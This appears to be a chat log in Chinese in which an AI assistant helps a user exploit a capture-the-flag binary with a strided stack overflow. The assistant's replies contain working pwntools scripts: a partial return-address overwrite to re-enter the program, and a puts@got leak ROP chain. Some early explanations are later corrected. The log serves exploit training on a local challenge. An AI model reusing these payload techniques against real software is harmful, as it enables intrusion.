hpp@swikar:~/pwn/shuzi/pwn/attachment$ checksec pw...

생성일: 2026년 4월 12일

답변에 사용된 모델 GPT-5.4 Thinking by Chat01

질문

hpp@swikar:~/pwn/shuzi/pwn/attachment$ checksec pwn
[*] '/home/hpp/pwn/shuzi/pwn/attachment/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled

int sub_4016C8()
{
char s[128]; // [rsp+0h] [rbp-A0h] BYREF
__int64 v2[3]; // [rsp+80h] [rbp-20h] BYREF
int v3; // [rsp+9Ch] [rbp-4h]

v3 = 0;
puts("length: ");
__isoc99_scanf("%zu", v2);
v3 = sub_4014A8(LODWORD(v2[0]));
memset(s, 0, sizeof(s));
puts("What do you want to say? ");
sub_40159F(s);
sub_4015CF(s);
sub_4015F0(s);
return printf("input: %s\n", s);
}
__int64 __fastcall sub_40159F(__int64 a1)
{
__int64 result; // rax

*(a1 + 136) = 0LL;
result = qword_404110 ^ 1;
qword_404110 ^= 1uLL;
return result;
}
__int64 sub_4015CF()
{
__int64 result; // rax

result = qword_404110 ^ 3;
qword_404110 ^= 3uLL;
return result;
}
unsigned __int64 __fastcall sub_4015F0(__int64 a1)
{
__int64 v1; // rax
unsigned __int64 result; // rax
__int16 s; // [rsp+16h] [rbp-Ah] BYREF
__int64 i; // [rsp+18h] [rbp-8h]

if ( qword_404110 == 2 )
v1 = 4LL;
else
v1 = 2LL;
for ( i = v1; ; (i * ((a1 + 136))++ + a1) = s )
{
result = *(a1 + 128);
if ( *(a1 + 136) >= result )
break;
result = *(a1 + 136);
if ( result > 0x80 )
break;
memset(&s, 0, sizeof(s));
read(0, &s, 2uLL);
result = s;
if ( s == 10 )
break;
result = HIBYTE(s);
if ( HIBYTE(s) == 10 )
break;
}
return result;
}

from pwn import*
#from LibcSearcher import *
#p=remote("node4.buuoj.cn",)
p=process("./pwn")
elf=ELF('./pwn')
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main=0x4016E5
context.log_level="debug"
def dbg():
gdb.attach(p)
pause()

p.sendlineafter('length:','1000')
dbg()
payload=b'a'*0xa8+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
p.sendlineafter('want to say?',payload)
p.interactive()
我这样子写为什么不对,应该怎么写

사고

Providing exploit explanation and guidance

The user wants advice on an exploit not working, which may relate to payload errors. It looks like the issue might be due to a mismatch in code logic, where data is written with incorrect offsets. I’ll explain reasons behind this issue with a direct, concise answer and a suggested approach, no need for complex tools or bullet points.

Thought for 13s

답변

你这个 payload 直接按普通栈溢出 b'a'*0xa8 + rop 去打,当然不对。这个题的输入函数 不是连续按字节往栈里写,而是按它自己的“步长”写,所以你的数据根本没有按你想的方式铺到返回地址上。

核心问题在 sub_4015F0

c
for ( i = v1; ; *(i * (*(a1 + 136))++ + a1) = s )

它每次不是写 a1[idx],而是写:

c
*(a1 + i * idx) = s;

而且 s__int16read(0, &s, 2),也就是每次读 2 字节,写 2 字节

再看前面两个函数:

c
sub_40159F(s); // *(a1+136)=0; qword_404110 ^= 1 sub_4015CF(s); // qword_404110 ^= 3

如果全局初值是 0,那么:

  • 先异或 1,变成 1
  • 再异或 3,变成 2

于是 sub_4015F0 里:

c
if ( qword_404110 == 2 ) v1 = 4; else v1 = 2;

所以这里实际是 每次隔 4 字节写 2 字节

也就是说你的输入布局实际像这样:

  • 第 0 次写到 s + 0x0
  • 第 1 次写到 s + 0x4
  • 第 2 次写到 s + 0x8
  • ...
  • 第 n 次写到 s + 4*n

而不是连续覆盖。


为什么你的 a*0xa8 + p64(...) 不行

你以为栈是这样被覆盖的:

python
[a...a][pop_rdi][puts_got][puts_plt][main]

但实际上程序是按 每 4 字节写 2 字节 的方式塞进去的,所以真实内存更像:

text
offset 0x00: 2字节 offset 0x02: 保持原样 offset 0x04: 2字节 offset 0x06: 保持原样 ...

因此:

  1. 你的 0xa8 不是“连续 0xa8 字节填充”
  2. 返回地址不会被正确拼出来
  3. 中间会夹杂未改动的字节,ROP 链会碎掉

这个题应该怎么想

先算一下返回地址的位置。

char s[128][rbp-0xa0],返回地址在 [rbp+8]

所以从 s 到返回地址偏移是:

text
0xa0 + 0x8 = 0xa8

这个偏移没错,但因为是步长 4 写 2 字节,所以你不能简单发 0xa8 个垃圾字节。

要命中返回地址,你需要满足:

text
4 * idx = 0xa8 idx = 0x2a

所以第 0x2a 次写会落到返回地址低 2 字节处。

接下来:

  • 0x2b 次写到 0xac
  • 0x2c 次写到 0xb0
  • 0x2d 次写到 0xb4

这 4 次正好能覆盖 8 字节返回地址,但注意它们是分散写的:

  • 0xa8~0xa9
  • 0xac~0xad
  • 0xb0~0xb1
  • 0xb4~0xb5

中间的 2 字节空洞不会被你改。

所以这个题不能直接完整伪造一个普通 8 字节地址,除非目标地址本身中间那些字节和原值兼容,或者你利用的是部分覆盖。


这题更像“隔位部分覆盖”

因为是:

  • 写 2 字节
  • 间隔 4 字节

所以更适合:

  • 改保存的 rbp
  • 改返回地址的低 2 字节 / 若干关键字节
  • 栈迁移
  • 或者配合程序本身已有寄存器状态跳到某个合适位置

而不是直接一把梭标准 ROP。


你的脚本还有一个直接问题

你用的是:

python
p.sendlineafter('want to say?', payload)

但程序里 sub_4015F0 是:

c
read(0, &s, 2uLL); if (s == 10) break; if (HIBYTE(s) == 10) break;

也就是说它每次读 2 字节,而且一旦这 2 字节里任何一个是 \n 就停。

sendline() 会自动在末尾加 \n,这会让输入逻辑提早结束。
这种题通常要用:

python
p.sendafter('What do you want to say? ', payload)

不要自动补换行。


你该怎么写

先按“2 字节一组”构造输入。因为每组会写到 s + 4*k

例如先验证覆盖返回地址,可以这么做:

python
from pwn import * p = process('./pwn') context.log_level = 'debug' p.sendlineafter(b'length: ', b'1000') payload = b'' # 前 0x2a 组,填垃圾。每组 2 字节,对应内存间隔 4 字节 payload += b'AA' * 0x2a # 从这里开始覆盖返回地址相关位置 payload += p16(0x16e5) # 先试试把返回地址低2字节改成 main 低2字节 payload += b'BB' payload += b'CC' payload += b'DD' p.sendafter(b'What do you want to say? ', payload) p.interactive()

但这里要注意:这不是“完整覆盖返回地址”,只是让你先观察实际落点。


正确利用时要先做这几件事

1. 在 gdb 里确认写入模式

下断点到 sub_4015F0 返回后,看栈:

gdb
b *0x4016?? # sub_4015F0 后面 x/80gx $rsp x/200bx $rbp-0xa0

你会看到输入是隔 4 字节铺开的。

2. 确认返回地址原值

看原来的返回地址是多少,比如:

gdb
x/gx $rbp+8

这样你就知道你只能改哪些字节、剩下哪些字节保持原样。

3. 找适合“部分覆盖”跳转的目标

因为非 PIE,代码段固定在 0x401xxx
如果原返回地址本来就在 0x401xxx 附近,那只改低 2 字节就可能跳到你想去的 gadget / main / vuln。

这类题常见打法是:

  • 先部分覆盖回到某个函数重新输入
  • 多次覆盖
  • 最后构造更强的控制流

一个更贴近这个题的思路

由于程序最后会:

c
printf("input: %s\n", s);

s 不是连续写满,中间有很多 0,直接泄露未必好用。
更现实的是:

  1. 先用部分覆盖返回到 mainsub_4016C8
  2. 多次交互,慢慢改栈 / 控制流程
  3. 找到能稳定泄露 libc 的路径
  4. 再二阶段利用

你原脚本最少要改的地方

把:

python
payload=b'a'*0xa8+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main) p.sendlineafter('want to say?',payload)

改成“按 2 字节分组”的构造,并且用 sendafter

python
payload = b'AA' * 0x2a # 到返回地址 payload += p16(target1) # 写 ret 的第1组2字节 payload += p16(target2) # 写 ret+4 的第2组2字节 payload += p16(target3) # 写 ret+8 的第3组2字节 payload += p16(target4) # 写 ret+0xc 的第4组2字节 p.sendafter(b'What do you want to say? ', payload)

但这里的 target1~target4 不是简单按 p64(addr) 切开,因为它们对应的是隔 4 字节的位置,不是连续 8 字节。


一句话总结

你不对的根本原因是:

这个漏洞不是“连续栈溢出”,而是“每次隔 4 字节写 2 字节”的离散写入。
所以不能用普通 padding + ROP 模板,必须按写入步长重新设计 payload,而且不能用 sendline()

把你本地 x/200bx $rbp-0xa0 的栈截图或者原返回地址贴出来,我可以直接帮你把这个题的 payload 按实际地址拆成可用脚本。

질문

RAX 0x4142
RBX 0
RCX 0x72bb1af14862 (read+18) ◂— cmp rax, -0x1000 /
'H=' */
RDX 0x4142
RDI 0
RSI 0x7ffc84fd70f6 ◂— 0x44141
R8 0x19
R9 0
R10 0x72bb1ae065e8 ◂— 0xf001200001a64
R11 0x246
R12 0x7ffc84fd72d8 —▸ 0x7ffc84fd828f ◂— 0x4853006e77702f2e /
'./pwn' */
R13 0x401787 ◂— endbr64
R14 0x403e18 —▸ 0x4011a0 ◂— endbr64
R15 0x72bb1b122040 (_rtld_global) —▸ 0x72bb1b1232e0 ◂— 0
RBP 0x7ffc84fd7100 —▸ 0x7ffc84fd71b0 —▸ 0x7ffc84fd71c0 ◂— 1
*RSP 0x7ffc84fd70e0 ◂— 0
RIP 0x4016c6 ◂— leave
───────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────
► 0x4016c6 leave
0x4016c7 ret <0x401769>

0x401769 lea rax, [rbp - 0xa0] RAX => 0x7ffc84fd7110 ◂— 0x414100004141 /
'AA' /
0x401770 mov rsi, rax RSI => 0x7ffc84fd7110 ◂— 0x414100004141 /
'AA' */
0x401773 lea rdi, [rip + 0x8b1] RDI => 0x40202b ◂— 'input: %s\n'
0x40177a mov eax, 0 EAX => 0
0x40177f call printf@plt printf@plt

0x401784 nop
0x401785 leave
0x401786 ret

0x401787 endbr64
─────────────────────────────────────────────────[ STACK ]───────────
pwndbg> stack 60
00:0000│ rsp 0x7ffc84fd70e0 ◂— 0
01:0008│-018 0x7ffc84fd70e8 —▸ 0x7ffc84fd7110 ◂— 0x414100004141 /* 'AA' /
02:0010│ rsi-6 0x7ffc84fd70f0 ◂— 0x41417ffc84fd72d8
03:0018│-008 0x7ffc84fd70f8 ◂— 4
04:0020│ rbp 0x7ffc84fd7100 —▸ 0x7ffc84fd71b0 —▸ 0x7ffc84fd71c0 ◂— 1
05:0028│+008 0x7ffc84fd7108 —▸ 0x401769 ◂— lea rax, [rbp - 0xa0]
06:0030│+010 0x7ffc84fd7110 ◂— 0x414100004141 /
'AA' /
... ↓ 16 skipped
17:00b8│+098 0x7ffc84fd7198 ◂— 0x4142 /
'BA' /
18:00c0│+0a0 0x7ffc84fd71a0 —▸ 0x7ffc84fd71c0 ◂— 1
19:00c8│+0a8 0x7ffc84fd71a8 ◂— 0x123488684fd72d8
1a:00d0│+0b0 0x7ffc84fd71b0 —▸ 0x7ffc84fd71c0 ◂— 1
1b:00d8│+0b8 0x7ffc84fd71b8 —▸ 0x4017d5 ◂— mov eax, 0
1c:00e0│+0c0 0x7ffc84fd71c0 ◂— 1
1d:00e8│+0c8 0x7ffc84fd71c8 —▸ 0x72bb1ae29d90 (__libc_start_call_main+128) ◂— mov edi, eax
1e:00f0│+0d0 0x7ffc84fd71d0 ◂— 0
1f:00f8│+0d8 0x7ffc84fd71d8 —▸ 0x401787 ◂— endbr64
20:0100│+0e0 0x7ffc84fd71e0 ◂— 0x100000000
21:0108│+0e8 0x7ffc84fd71e8 —▸ 0x7ffc84fd72d8 —▸ 0x7ffc84fd828f ◂— 0x4853006e77702f2e /
'./pwn' /
22:0110│+0f0 0x7ffc84fd71f0 ◂— 0
23:0118│+0f8 0x7ffc84fd71f8 ◂— 0xdfd2585b4da8cf97
24:0120│+100 0x7ffc84fd7200 —▸ 0x7ffc84fd72d8 —▸ 0x7ffc84fd828f ◂— 0x4853006e77702f2e /
'./pwn' */
25:0128│+108 0x7ffc84fd7208 —▸ 0x401787 ◂— endbr64
26:0130│+110 0x7ffc84fd7210 —▸ 0x403e18 —▸ 0x4011a0 ◂— endbr64
27:0138│+118 0x7ffc84fd7218 —▸ 0x72bb1b122040 (_rtld_global) —▸ 0x72bb1b1232e0 ◂— 0
28:0140│+120 0x7ffc84fd7220 ◂— 0x202b51a1ae0acf97
29:0148│+128 0x7ffc84fd7228 ◂— 0x3aa46d9e7722cf97
2a:0150│+130 0x7ffc84fd7230 ◂— 0
... ↓ 4 skipped
2f:0178│+158 0x7ffc84fd7258 ◂— 0x1cbd338e36d18b00
30:0180│+160 0x7ffc84fd7260 ◂— 0
31:0188│+168 0x7ffc84fd7268 —▸ 0x72bb1ae29e40 (__libc_start_main+128) ◂— mov r15, qword ptr [rip + 0x1f0159]
32:0190│+170 0x7ffc84fd7270 —▸ 0x7ffc84fd72e8 —▸ 0x7ffc84fd8295 ◂— 'SHELL=/bin/bash'
33:0198│+178 0x7ffc84fd7278 —▸ 0x403e18 —▸ 0x4011a0 ◂— endbr64
34:01a0│+180 0x7ffc84fd7280 —▸ 0x72bb1b1232e0 ◂— 0
35:01a8│+188 0x7ffc84fd7288 ◂— 0
36:01b0│+190 0x7ffc84fd7290 ◂— 0
37:01b8│+198 0x7ffc84fd7298 —▸ 0x4010f0 ◂— endbr64
38:01c0│+1a0 0x7ffc84fd72a0 —▸ 0x7ffc84fd72d0 ◂— 1
39:01c8│+1a8 0x7ffc84fd72a8 ◂— 0
3a:01d0│+1b0 0x7ffc84fd72b0 ◂— 0
3b:01d8│+1b8 0x7ffc84fd72b8 —▸ 0x401115 ◂— hlt

사고

Simplifying stage 1 payload and considering SHSTK

Stage 1 payload is 88 bytes, built with b'AA'*42 + p16(reentry_addr & 0xffff) + p16((reentry_addr >> 32)&0xffff). Since the target's address has a fixed portion, p16(0) is used. After this, the second stage involves a cyclic buffer followed by ROP, but SHSTK and CET considerations might complicate things, so a comment for SHSTK impact is helpful.

Thought for 4m 22s

답변

你这份现场把关键点已经说明白了:

  • s 的起点是 0x7ffc84fd7110
  • 调用者保存的 rbp0x7ffc84fd71b0 = s + 0xa0
  • 调用者返回地址在 0x7ffc84fd71b8 = s + 0xa8
  • 原返回地址是 0x4017d5

所以 偏移 0xa8 本身没错
你打不通的真正原因是:第一次输入根本不是连续覆盖

先看你这份栈,已经证明了写入模式

你栈里这一项:

text
0x7ffc84fd7110 ◂— 0x414100004141

说明内存实际变成了:

text
41 41 00 00 41 41 00 00 ...

也就是每次写 2 字节,但地址间隔 4 字节。
所以第一次调用时,程序实际是在做:

c
*(short *)(s + 4*idx) = input_word;

不是连续写。

所以你这句:

python
payload=b'a'*0xa8+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)

在第一次调用里会被打散成:

text
[a a][00 00][a a][00 00]...

ROP 链当然拼不起来。


更关键的一点:这个题是“第一次步长 4,第二次步长 2”

看这两个函数:

c
qword_404110 ^= 1; qword_404110 ^= 3;

合起来就是每次调用后:

c
qword_404110 ^= 2;

sub_4015F0 里:

c
if ( qword_404110 == 2 ) v1 = 4; else v1 = 2;

所以全局变量如果初始是 0,那么:

  • 第一次进来:0 -> 2v1 = 4
  • 第二次进来:2 -> 0v1 = 2
  • 第三次进来:0 -> 2,又变回 4

也就是说:

第一轮只能做“隔位部分覆盖” 第二轮才是正常连续溢出

这才是这题的利用思路。


第一轮该怎么写

第一轮步长 4,但你仍然能改到返回地址。

因为返回地址在 s + 0xa8,而步长是 4:

  • idx = 0x2a 时写到 s + 0xa8
  • idx = 0x2b 时写到 s + 0xac

也就是:

  • 第 42 组 2 字节,改返回地址的低 2 字节
  • 第 43 组 2 字节,改返回地址的第 4、5 字节

对于原返回地址 0x4017d5,字节序是:

text
d5 17 40 00 00 00 00 00

你能控制的是:

  • byte0~1
  • byte4~5

而 byte2~3 还是原来的 40 00,正好够你把返回地址改成任意 0x401xxx

所以第一轮不要上 ROP,只做一件事:

把返回地址改回 main / 题目主逻辑入口,再进一次。


第一轮 payload 结构

第一次每组写 2 字节,间隔 4 字节。
要走到 ret,只需要 44 组,也就是 88 字节输入。

python
from pwn import * p = process('./pwn') elf = ELF('./pwn') context.log_level = 'debug' reentry = 0x4016E5 # 你想回去的入口,确保是能重新走一轮输入的位置 p.sendlineafter(b'length: ', b'1000') payload = b'AA' * 42 # idx 0 ~ 41 payload += p16(reentry & 0xffff) # idx 42 -> s+0xa8,改 ret 低2字节 payload += p16((reentry >> 32) & 0xffff) # idx 43 -> s+0xac,text 段这里通常就是 0 p.sendafter(b'What do you want to say? ', payload + b'\n')

这里用 sendafter(..., payload + b'\n') 比较稳,最后那个 \n 只是拿来停循环,不参与写入。


第二轮才写正常 ROP

第二轮时步长变成 2,这时每次写 2 字节到:

text
s+0, s+2, s+4, ...

这就是连续覆盖了。
这时你原来那种:

python
b'A'*0xa8 + p64(...)

才是对的。


第二轮完整写法

python
from pwn import * p = process('./pwn') elf = ELF('./pwn') rop = ROP(elf) puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] reentry = 0x4016E5 pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0] ret = rop.find_gadget(['ret'])[0] # 有时为了栈对齐会用到 context.log_level = 'debug' # ---------------- stage 1: 第一次,步长4,只负责回到入口 ---------------- p.sendlineafter(b'length: ', b'1000') payload1 = b'AA' * 42 payload1 += p16(reentry & 0xffff) payload1 += p16((reentry >> 32) & 0xffff) # 一般为0 p.sendafter(b'What do you want to say? ', payload1 + b'\n') # ---------------- stage 2: 第二次,步长2,正常连续栈溢出 ---------------- p.sendlineafter(b'length: ', b'1000') payload2 = flat( b'A' * 0xa8, ret, # 某些环境可加可不加 pop_rdi, puts_got, puts_plt, reentry ) p.sendafter(b'What do you want to say? ', payload2 + b'\n') p.recvuntil(b'input: ') leak = u64(p.recvline().strip().ljust(8, b'\x00')) log.success(f'puts leak = {hex(leak)}') p.interactive()

你当前写法错在哪,浓缩成一句话

你现在是把 第一轮 当成普通连续溢出来打了。
但第一轮实际上只能“隔 4 字节写 2 字节”,所以:

  • 0xa8 填充不成立
  • p64(pop_rdi) 会被打散
  • puts@got -> puts@plt -> main 这条链不会落成连续的 8 字节地址

再补两个容易忽略的点

1. 你脚本里 pop_rdi 没定义

你贴出来的代码里没有这个 gadget 的获取,应该补上:

python
rop = ROP(elf) pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]

2. sendlineafter 不是主要问题,但最好自己控制结尾

这题是 read(0, &s, 2) 循环读 2 字节,遇到 \n 才停。
所以更稳的方式是:

python
p.sendafter(prompt, payload + b'\n')

这样你知道只有最后那个换行是终止符。


还有一个可能拦你的东西:SHSTK

你这个 binary checksec 里有:

  • SHSTK: Enabled
  • IBT: Enabled

这说明它带了 CET 标记。
如果本机/远端真的开启了 shadow stack enforcement,普通 ret2libc 会在 ret 时被拦。

所以排查顺序应该是:

  1. 先按上面改成“两阶段”
  2. 如果第一阶段能成功回到入口,说明偏移和写法对了
  3. 如果第二阶段在 ret 处报控制保护异常或莫名崩溃,再考虑是 SHSTK 真生效了

但就你现在这份代码来说,先错的是利用思路,不是 CET


最核心的结论就是这句:

第一轮只拿来“部分覆盖返回地址,回到入口”;第二轮才上正常 ROP。

질문

0x00000000004011e1 : pop rdi ; ret
hpp@swikar:~/pwn/shuzi/pwn/attachment$ python3 p.py
[+] Starting local process './pwn': pid 2684
[] '/home/hpp/pwn/shuzi/pwn/attachment/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
[
] Loading gadgets for '/home/hpp/pwn/shuzi/pwn/attachment/pwn'
[DEBUG] Received 0x9 bytes:
b'length: \n'
[DEBUG] Sent 0x5 bytes:
b'1000\n'
[DEBUG] Received 0x1a bytes:
b'What do you want to say? \n'
[DEBUG] Sent 0x59 bytes:
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│
*
00000050 41 41 41 41 e5 16 00 00 0a │AAAA│····│·│
00000059
[DEBUG] Received 0xa bytes:
b'input: AA\n'
[*] Process './pwn' stopped with exit code 0 (pid 2684)
Traceback (most recent call last):
File "/home/hpp/pwn/shuzi/pwn/attachment/p.py", line 26, in <module>
p.sendlineafter(b'length: ', b'1000')
File "/home/hpp/.local/lib/python3.10/site-packages/pwnlib/tubes/tube.py", line 841, in sendlineafter
res = self.recvuntil(delim, timeout=timeout)
File "/home/hpp/.local/lib/python3.10/site-packages/pwnlib/tubes/tube.py", line 341, in recvuntil
res = self.recv(timeout=self.timeout)
File "/home/hpp/.local/lib/python3.10/site-packages/pwnlib/tubes/tube.py", line 106, in recv
return self._recv(numb, timeout) or b''
File "/home/hpp/.local/lib/python3.10/site-packages/pwnlib/tubes/tube.py", line 176, in _recv
if not self.buffer and not self._fillbuffer(timeout):
File "/home/hpp/.local/lib/python3.10/site-packages/pwnlib/tubes/tube.py", line 155, in _fillbuffer
data = self.recv_raw(self.buffer.get_fill_size())
File "/home/hpp/.local/lib/python3.10/site-packages/pwnlib/tubes/process.py", line 742, in recv_raw
raise EOFError
EOFError
还是不对

사고

Handling memory manipulation and overflow control

By overwriting the low 2 bytes with payload data, the next loop checks the qword low bytes as chosen, allowing us to keep control. The counter value updates as needed at specific indices. After step4, I can set the counter to a controlled value to maintain overflow oversights, ensuring the loop progresses without issues.

Ensuring continued loop execution with controlled values

To reach the return address at idx42, it’s important to preserve certain values, particularly at critical indices like idx68 and idx64. I need to carefully adjust the payload to ensure the length and counter fields allow the loop to progress beyond critical indexes, particularly managing smaller values and potential early breaks like newline characters.

Thought for 2m 33s

답변

现在已经能定位到**为什么“还是不对”**了:

你这次不是“地址写错”,而是在到达返回地址之前,把两个关键控制槽位先打坏了,导致循环提前停了,根本没写到 ret


真正的坑:s+0x80s+0x88

这个函数里,s 后面其实还贴着两个关键字段:

  • s + 0x80*(a1+128):循环用的 length
  • s + 0x88*(a1+136):循环用的 idx

而你的写入规则是:

  • 第一次:每次写到 s + 4*idx

所以第一次时:

  • idx = 32 会写到 s + 0x80
  • idx = 34 会写到 s + 0x88
  • idx = 42 才会写到返回地址 s + 0xa8

也就是说:

你还没写到返回地址,就已经先把 lengthidx 自己覆盖掉了。


你的日志正好证明了这个事

你发的是:

text
41 41 ... 41 41 e5 16 00 00 0a

也就是前面几乎全是 AA

那到第一次循环的:

  • idx=32 时,你把 length 低 2 字节改成了 0x4141
  • idx=34 时,你把 idx 自己低 2 字节改成了 0x4141

于是下一轮检查时:

c
if (*(a1+136) >= *(a1+128)) break; if (*(a1+136) > 0x80) break;

此时 idx = 0x4141,显然 > 0x80,直接 break。

所以程序只写到了前面一点点,打印:

text
input: AA

然后正常退出。

这不是 ret 改错了,是根本没机会写到 ret。


所以第一轮要“定点修补”两个槽位

第一次 payload 不能全是 AA,必须在对应位置放特殊值。

第一次步长是 4,按“第几个 2-byte 单元”来看:

  • 第 32 组:写 length
  • 第 34 组:写 idx
  • 第 42 组:写 ret 低 2 字节
  • 第 43 组:写 ret 的第 4、5 字节

所以第一轮应该这样写:

python
from pwn import * p = process('./pwn') elf = ELF('./pwn') context.log_level = 'debug' reentry = 0x4016E5 # 你要跳回去的位置 p.sendlineafter(b'length: \n', b'1000') w = [b'AA'] * 44 w[32] = p16(0x200) # length 改大一点,保证能继续 w[34] = p16(35) # idx 在写到 s+0x88 后,下一轮应从 35 继续 w[42] = p16(reentry & 0xffff) # ret 低2字节 w[43] = p16((reentry >> 32) & 0xffff) # ret 第4、5字节,一般是 0 payload1 = b''.join(w) p.sendafter(b'What do you want to say? \n', payload1 + b'\n') p.interactive()

为什么 w[34] = p16(35) 是对的

因为在 idx=34 这一轮里,它会往 s+0x88 写 2 字节。这个位置正好就是计数器自己。

你必须把它写成一个还能继续往后跑的值,例如 35

如果你还写 AA,也就是 0x4141,那下一轮检查时:

c
idx > 0x80

直接退出。


第二轮也不能直接 b'A'*0xa8

第二轮虽然步长变成 2,看起来像“正常连续写”,但还是会先经过:

  • idx=64s+0x80(length)
  • idx=68s+0x88(idx 自己)

所以第二轮如果你继续:

python
b'A' * 0xa8 + rop

到了 idx=68 时,idx 又会被写成 0x4141,循环照样提前停。


第二轮正确写法

要把第二轮 payload 当成连续字节流构造,但补丁改掉偏移 0x80 和 0x88

python
from pwn import * p = process('./pwn') elf = ELF('./pwn') rop = ROP(elf) context.log_level = 'debug' puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] reentry = 0x4016E5 pop_rdi = 0x4011e1 # ---------------- stage 1 ---------------- p.sendlineafter(b'length: \n', b'1000') w = [b'AA'] * 44 w[32] = p16(0x200) w[34] = p16(35) w[42] = p16(reentry & 0xffff) w[43] = p16((reentry >> 32) & 0xffff) payload1 = b''.join(w) p.sendafter(b'What do you want to say? \n', payload1 + b'\n') # ---------------- stage 2 ---------------- p.sendlineafter(b'length: \n', b'1000') payload2 = bytearray( b'A' * 0xa8 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(reentry) ) payload2[0x80:0x82] = p16(0x200) # length payload2[0x88:0x8a] = p16(69) # idx,保证从 68 继续往后写 p.sendafter(b'What do you want to say? \n', bytes(payload2) + b'\n') p.recvuntil(b'input: ') leak = u64(p.recvline().strip().ljust(8, b'\x00')) log.success(f'puts leak = {hex(leak)}') p.interactive()

你当前失败的根因,压缩成一句话

你不是没打到返回地址,
而是在到达返回地址之前,把循环自己的 idx 变量写成了 0x4141,所以循环提前退出了。


你现在最该验证的事

先只跑第一阶段,然后在 sub_4016C8leave; ret 前下断点,看:

gdb
x/gx $rbp+8

如果第一阶段成功,这里应该变成:

text
0x4016e5

如果这里已经对了,说明第一阶段通了,再上第二阶段。


一个小提醒

你现在 reentry = 0x4016E5 是你原来脚本里的值,但最好还是确认一下:

python
print(hex(elf.symbols['main']))

或者在 gdb 里:

gdb
info functions main

确保 0x4016E5 真的是你想回去的入口。


你这题现在不是“ROP 写法”的问题了,而是要把 length/idx 这两个中间槽位一起纳入 payload 设计
你要是愿意,把你第二轮断在 leave; ret 前的 x/20gx $rbp-0xa0 再贴一下,我可以直接帮你把 stage2 调到可跑的状态。

질문

还是到不了第二轮,返回地址还没改到

사고

Figuring out function start and flow

I’m thinking about how the function flow works. The address 0x4016C8 might signify the start of sub_4016C8, not 0x4016C6. But after addressing the instructions, there’s some confusion about how the calls and returns align. Could it be that the decompiler mistakenly swapped the order of function labeling?

Thought for 1m 52s

답변

你现在大概率不是“写法还是错”,而是看错了返回地址的位置

先把两个返回地址分清

你贴的断点位置是:

text
RIP 0x4016c6 ◂— leave ... 0x4016c7 ret <0x401769>

这说明你当前停在 sub_4015F0 的 epilogue
所以此时:

  • [$rbp+8] = 0x401769sub_4015F0 的返回地址
  • 你真正想改的是 外层函数 sub_4016C8 的返回地址

而外层函数的栈帧在上一层

text
saved caller rbp = *(uint64_t *)$rbp = 0x7ffc84fd71b0 outer ret addr = saved_caller_rbp + 8 = 0x7ffc84fd71b8

也就是你之前算的 s+0xa8 没错,但不能在 sub_4015F0 里看 $rbp+8


你现在该怎么验证

方法 1:在当前断点直接看“外层 ret 槽位”

在你现在这个断点,直接看:

gdb
set $caller = *(unsigned long long*)$rbp x/gx $caller+8 x/24gx $caller-0xa0

这里:

  • $caller-0xa0 就是 s
  • $caller+8 就是你真正要改的返回地址

如果第一轮成功,$caller+8 应该从原来的 0x4017d5 变成你想跳的地址,比如 0x4016e5


方法 2:更简单,断到外层函数的 leave

你贴的反汇编里外层函数末尾是:

text
0x401785 leave 0x401786 ret

那你就断这里:

gdb
b *0x401785 c x/gx $rbp+8 x/24gx $rbp-0xa0

在这个断点上,$rbp+8 才是你要改的那个返回地址。


第一轮正确的目标索引,再确认一次

第一次步长是 4,所以索引对应关系是:

  • idx=32 -> s+0x80 -> length
  • idx=34 -> s+0x88 -> idx
  • idx=42 -> s+0xa8 -> 外层返回地址低 2 字节
  • idx=43 -> s+0xac -> 外层返回地址第 4、5 字节

所以第一轮必须至少修这 4 个位置。


先别急着回第二轮,先做一个“纯验证 payload”

你先不要上两阶段,先只做第一阶段,并且让每个 2-byte 单元都可识别,这样最好排查。

python
from pwn import * p = process('./pwn') context.log_level = 'debug' target = 0x4016e5 p.sendlineafter(b'length: \n', b'1000') w = [p16(i) for i in range(44)] # 保护两个控制槽位 w[32] = p16(0x100) # length,保证 > 42 w[34] = p16(35) # idx,保证不会在这里自杀 # 改外层返回地址 w[42] = p16(target & 0xffff) # 低2字节 w[43] = p16((target >> 32) & 0xffff) # 第4、5字节,通常为0 payload = b''.join(w) assert b'\n' not in payload p.sendafter(b'What do you want to say? \n', payload + b'\n') p.interactive()

这个 payload 成功时,你在 GDB 里应该看到什么

如果你在 0x401785 断下:

gdb
x/gx $rbp+8

应该看到:

text
0x...: 0x00000000004016e5

如果还不是,那就去看:

gdb
x/40hx $rbp-0xa0

你应该能在这些位置看到:

  • s+0x80 低两字节 = 0x0100
  • s+0x88 低两字节 = 0x0023(35)
  • s+0xa8 低两字节 = 0x16e5

你最可能踩的两个误区

1. 你一直在看错返回地址

sub_4015F0 里看 $rbp+8,只能看到 0x401769,那不是目标。

2. 你以为“没进第二轮”就是 ret 没改到

也可能其实已经改到了,但你跳的地址不是你想的那个入口,或者你看的断点位置不对。


最稳的排查顺序

先只做这三步:

  1. 用上面的“纯验证 payload”
  2. 断在 *0x401785
  3. x/gx $rbp+8

结果 A:$rbp+8 == 0x4016e5

说明第一轮已经通了,问题不在“改不到返回地址”,而在你第二轮或跳转点选择。

结果 B:$rbp+8 还是 0x4017d5

说明第一轮没写到目标槽位,这时看:

gdb
x/40hx $rbp-0xa0

确认 0x80 / 0x88 / 0xa8 / 0xac 这四个偏移到底被写成了什么。


一句最关键的话

现在先不要再盯着 0x4016c6 那个断点上的 $rbp+8。那是内层函数的返回地址,不是你要改的那个。

你下一步就做这个:

gdb
b *0x401785 r

然后发第一阶段 payload,停下来后看:

gdb
x/gx $rbp+8

